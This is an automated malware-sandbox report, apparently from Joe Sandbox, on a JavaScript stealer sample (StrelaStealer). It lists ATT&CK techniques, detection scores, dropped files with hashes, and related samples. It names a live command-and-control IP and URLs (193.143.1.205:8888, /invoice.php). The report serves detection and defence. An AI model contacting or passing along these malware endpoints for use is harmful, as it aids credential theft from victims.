Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2709365481268819493.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2709365481268819493.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2852088166.0000026ACDA00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1643568669.0000026ACD760000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1635498494.00000215D48BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D4898000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D48C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1635498494.00000215D48EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/2	net.exe, 00000007.00000002.1635498494.00000215D48C8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588342
Start date and time:	2025-01-11 00:47:40 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2709365481268819493.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 184.28.90.27, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 4.245.163.56, 52.6.155.20, 23.217.172.185, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
18:48:53	API Interceptor	30x Sleep call for process: powershell.exe modified
18:48:57	API Interceptor	1x Sleep call for process: net.exe modified
18:48:58	API Interceptor	2x Sleep call for process: svchost.exe modified
18:49:06	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	21092429235262508.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	27458284801797225280.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21534160892486631756.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17266187282427315527.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5197307041739714413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1573099322476027960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21905169581426428153.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11804174121566513871.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	340651472865228929.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.80218996997289
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAm:RJE+Lfki1GjHwU/+vVhWqpT
MD5:	EE0FDB62F60B5D9D7A42F56C352B0219
SHA1:	51F5D42CA686F23F950B1793931310293F5ADA46
SHA-256:	2B8BBF3C52335FFF01B5E4CB37DB382118EBAE943825E762CB2A93269D8EC9A8
SHA-512:	D0E1FACC72FF5FFCA3EACC876A964B91EA1827254E58DD58ADCEC608A8B973F337BEAF01944C58EA8F22A6DFE9A1D44455C7214001D2C02773E5497E1E3E1F32
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x06bf82ff, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9432846111653005
Encrypted:	false
SSDEEP:	1536:7SB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:7azaHvxXy2V2UR
MD5:	9FC2A179A25917DB0BB9386A69862C99
SHA1:	8001DE52C47DE302FF7B555136C8869F8FD99055
SHA-256:	838B2230BF8A0FC432C216305DABE22C5602636DC6A63E9511675E1FA515D728
SHA-512:	4012D01396C3BF3DACCDCD7CB10C69727C9168A1BEC56F409D9263992CA0901C6FA9CDFE962C931C3FD46ADF39ED161BFD01E0CB11FCE06EA0D27F8099B95FD2
Malicious:	false
Preview:	....... ...............X\...;...{......................0.x...... ...{s.:0...}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................bR..;0...}m.....................;0...}5..........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07985163366777373
Encrypted:	false
SSDEEP:	3:8/KYepYeSdl/nqlFcl1ZUlllllSYQX/allGBnX/l/Tj/k7/t:8/Kzpal/qlFclQ/loG254
MD5:	2659A0841667280591113922EE508DDF
SHA1:	4B6A74E46F2C1C1C5388A94C4F5B0FD733D59327
SHA-256:	38C8CF028FF5334216198892F2F1D045458B52C69E18F0069D92A653AF1AE3CA
SHA-512:	9A007D4D47E7285D3F83EF1F49BF781474BCE4FFC7636875F602F1D5670C92F0D71D03094572079B5F1029D46C1B0E775280F3FAF2203A282753B4F70F9DC23A
Malicious:	false
Preview:	AM.......................................;...{..;0...}5.. ...{s.......... ...{s.. ...{s.P.... ...{s.....................;0...}5.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.225087362308071
Encrypted:	false
SSDEEP:	6:iO4/lyq2PCHhJ2nKuAl9OmbnIFUtS/YW/1Zmws/wRjRkwOCHhJ2nKuAl9OmbjLJ:7olyvBHAahFUtOYW/sQR56HAaSJ
MD5:	89B5904F687F7086B09A9E064B01D122
SHA1:	3829DE9E5FABEEDF2118675AEAA64BC8886876E6
SHA-256:	03F429A4170CBA11F86EF3F18ECD9A5647683D60AF4C0B1D11654588206BE176
SHA-512:	6341142A51A333EB6C314EB43C8F2DAD9134593DD95034B3293B318D42740F57957B4D904D0F06D8FED2851219CE61296EC6DC1528EFC5A6B74410C2FDA48D61
Malicious:	false
Preview:	2025/01/10-18:48:58.979 1814 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:48:58.982 1814 Recovering log #3.2025/01/10-18:48:58.983 1814 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.225087362308071
Encrypted:	false
SSDEEP:	6:iO4/lyq2PCHhJ2nKuAl9OmbnIFUtS/YW/1Zmws/wRjRkwOCHhJ2nKuAl9OmbjLJ:7olyvBHAahFUtOYW/sQR56HAaSJ
MD5:	89B5904F687F7086B09A9E064B01D122
SHA1:	3829DE9E5FABEEDF2118675AEAA64BC8886876E6
SHA-256:	03F429A4170CBA11F86EF3F18ECD9A5647683D60AF4C0B1D11654588206BE176
SHA-512:	6341142A51A333EB6C314EB43C8F2DAD9134593DD95034B3293B318D42740F57957B4D904D0F06D8FED2851219CE61296EC6DC1528EFC5A6B74410C2FDA48D61
Malicious:	false
Preview:	2025/01/10-18:48:58.979 1814 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-18:48:58.982 1814 Recovering log #3.2025/01/10-18:48:58.983 1814 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1836204209415735
Encrypted:	false
SSDEEP:	6:iO4/0fiM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS/V6Zmws/VlMVkwOCHhJ2nKuAl97:7oQ+vBHAa8uFUtOI/sYV56HAa8RJ
MD5:	09476A1D9DD8C08088821B44AFD922A1
SHA1:	F99AC0FF29A71076D57E108E6858F3C8681B30D4
SHA-256:	FF2563E93CF3AB6FC6217ACD79EC896AC1B209C208B683B0A775E13178A56BAE
SHA-512:	AF12F3CCE38387CF0A7B91DAEA13ECC83E5EF36FABF9431416B52A7633C346353E94D4074A3000EB0559212DA62EE13CD02B9FF9E648255D30FCCC55419B5AB3
Malicious:	false
Preview:	2025/01/10-18:48:58.958 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:48:58.987 1cac Recovering log #3.2025/01/10-18:48:58.987 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.1836204209415735
Encrypted:	false
SSDEEP:	6:iO4/0fiM+q2PCHhJ2nKuAl9Ombzo2jMGIFUtS/V6Zmws/VlMVkwOCHhJ2nKuAl97:7oQ+vBHAa8uFUtOI/sYV56HAa8RJ
MD5:	09476A1D9DD8C08088821B44AFD922A1
SHA1:	F99AC0FF29A71076D57E108E6858F3C8681B30D4
SHA-256:	FF2563E93CF3AB6FC6217ACD79EC896AC1B209C208B683B0A775E13178A56BAE
SHA-512:	AF12F3CCE38387CF0A7B91DAEA13ECC83E5EF36FABF9431416B52A7633C346353E94D4074A3000EB0559212DA62EE13CD02B9FF9E648255D30FCCC55419B5AB3
Malicious:	false
Preview:	2025/01/10-18:48:58.958 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-18:48:58.987 1cac Recovering log #3.2025/01/10-18:48:58.987 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0b60f9db-d180-48f6-a16d-aea27b52028f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.960830890641007
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL9VsBdOg2HcZcaq3QYiub6P7E4T3y:Y2sRdsxdMHcg3QYhbS7nby
MD5:	B91E80C239A60887D889F3DE0B759C40
SHA1:	44DA48E0D6EA3FAB37D0A6FDD8F0356AC58EF70E
SHA-256:	1281B1056B85182C6EE91769807C28F5441DF0A94B882E28DF6051FF235EF437
SHA-512:	4BC161AAAA6AFA02598C6A31B3763379B4BCEAD4B04DF949A6CADCEE360F45A6FC50E33B6783783FBB30B9BC967D3063CE16FC785F6C6B4CBA9C5E476EFEE2D3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381112949832907","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137317},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.960830890641007
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqL9VsBdOg2HcZcaq3QYiub6P7E4T3y:Y2sRdsxdMHcg3QYhbS7nby
MD5:	B91E80C239A60887D889F3DE0B759C40
SHA1:	44DA48E0D6EA3FAB37D0A6FDD8F0356AC58EF70E
SHA-256:	1281B1056B85182C6EE91769807C28F5441DF0A94B882E28DF6051FF235EF437
SHA-512:	4BC161AAAA6AFA02598C6A31B3763379B4BCEAD4B04DF949A6CADCEE360F45A6FC50E33B6783783FBB30B9BC967D3063CE16FC785F6C6B4CBA9C5E476EFEE2D3
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381112949832907","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":137317},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.232225539331881
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+bGJqfo:S43C4mS7fFi0KFYDjr3LWO3V3aw+bGJr
MD5:	6299819E02052F324989922BDBE59FB7
SHA1:	3765B8F9BDD9DA2B133A98EB37770C9D821EC702
SHA-256:	DA3F6E8DD99EE38B50FFD5D149056B9BFF9F915BA5B0FFDEE3EBFAB02718978A
SHA-512:	1485B7937F03940EBA699F32C33DCD3D0B85D70136D3A06807120A2B78B115FE80A6F9B2597D8C857CF64F6E6D07380B26550CB67F3B5830470E8E78372B0F62
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.234128018194422
Encrypted:	false
SSDEEP:	6:iO4/4sGqM+q2PCHhJ2nKuAl9OmbzNMxIFUtS/wXZmws/fqMVkwOCHhJ2nKuAl9Ob:7o4si+vBHAa8jFUtOwX/s/V56HAa84J
MD5:	8AB1E56E79E8F206ECB7FD3D7DD279C5
SHA1:	11BDEC0319242D0C0F2B2097AEA140B5C675D98C
SHA-256:	EF7626794A05FD0953AB92185E6488C6FED8D9B110483B0556F0FCEA817719C2
SHA-512:	DA81C87DF07E924039B3C5C3983AABC251B803C06CC587B2E05B85E3E32E1DCF42E937F8ED854CD98469C459CB0C83A82506D96165F100D99FEF3067EDDB6DB5
Malicious:	false
Preview:	2025/01/10-18:48:59.696 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:48:59.713 1cac Recovering log #3.2025/01/10-18:48:59.723 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.234128018194422
Encrypted:	false
SSDEEP:	6:iO4/4sGqM+q2PCHhJ2nKuAl9OmbzNMxIFUtS/wXZmws/fqMVkwOCHhJ2nKuAl9Ob:7o4si+vBHAa8jFUtOwX/s/V56HAa84J
MD5:	8AB1E56E79E8F206ECB7FD3D7DD279C5
SHA1:	11BDEC0319242D0C0F2B2097AEA140B5C675D98C
SHA-256:	EF7626794A05FD0953AB92185E6488C6FED8D9B110483B0556F0FCEA817719C2
SHA-512:	DA81C87DF07E924039B3C5C3983AABC251B803C06CC587B2E05B85E3E32E1DCF42E937F8ED854CD98469C459CB0C83A82506D96165F100D99FEF3067EDDB6DB5
Malicious:	false
Preview:	2025/01/10-18:48:59.696 1cac Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-18:48:59.713 1cac Recovering log #3.2025/01/10-18:48:59.723 1cac Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
